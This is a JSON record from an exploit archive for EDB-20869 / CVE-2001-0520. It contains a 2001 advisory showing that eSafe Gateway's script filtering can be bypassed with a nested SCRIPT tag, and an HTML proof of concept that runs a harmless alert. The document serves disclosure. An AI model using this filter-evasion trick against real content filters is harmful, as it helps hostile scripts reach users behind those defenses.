{"exploit":{"id":"EDB-20869","name":"eSafe Gateway 2.1 - Script-filtering Bypass","description":"eSafe Gateway 2.1 - Script-filtering Bypass","cves":["CVE-2001-0520"],"author":"eDvice Security Services","published":"2001-05-20","platform":"multiple","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20869","path":"exploits/multiple/remote/20869.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20869.txt","vulnerabilities":[{"id":"CVE-2001-0520","state":"PUBLISHED","title":null,"titleSource":null,"description":"Aladdin eSafe Gateway versions 3.0 and earlier allows a remote attacker to circumvent filtering of SCRIPT tags by embedding the scripts within certain HTML tags including (1) onload in the BODY tag, (2) href in the A tag, (3) the BUTTON tag, (4) the INPUT tag, or (5) any other tag in which scripts can be defined.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0520","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0520"},"updatedAt":"2024-08-08T04:21:38.597Z","retrievedAt":"2026-11-27T12:11:27.555Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20869.png?v=2","url":"https://exploitbin.com/exploits/EDB-20869","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20869/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20869/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2750/info\n\neSafe Gateway is a security utility used for filtering internet content.\n\nAn html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.\n\nNote: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.\n\nDetails\n----------------------\nLet's say for example that we want the following HTML code to enter an\norganization and the script it contains to be executed:\n\n<HTML><HEAD></HEAD>\n<BODY>\n<SCRIPT language=\"JavaScript\">\nalert(\"hi\");\n</SCRIPT>\n</BODY></HTML>\n\nIf we run this page through eSafe's filtering engine, the script will be\nfiltered and the resulting with the following HTML code:\n\n<HTML><HEAD></HEAD>\n<BODY>\n\n</BODY></HTML>\n\nHowever, if we create the following code:\n\n<HTML><HEAD></HEAD>\n<BODY>\n<SCRIPT<script language=\"javascript\"> </script> language=\"javascript\">\nalert(\"hi\");\n</SCRIPT>\n</BODY></HTML>\n\nThen the inner \"<script language=\"javascript\"> </script>\" will be extracted\nand we will be left with the following HTML code:\n\n<HTML><HEAD></HEAD>\n<BODY>\n<SCRIPT language=\"javascript\">\nalert(\"hi\");\n</SCRIPT>\n</BODY></HTML>","sha256":"692617690a005536392c26c3f22685e2d6393817fc41126b1f7c56d3d433cab1","bytes":1642,"fetchedAt":"2026-11-27T12:11:25.338Z","encoding":"utf-8 (display only; download retains original bytes)"}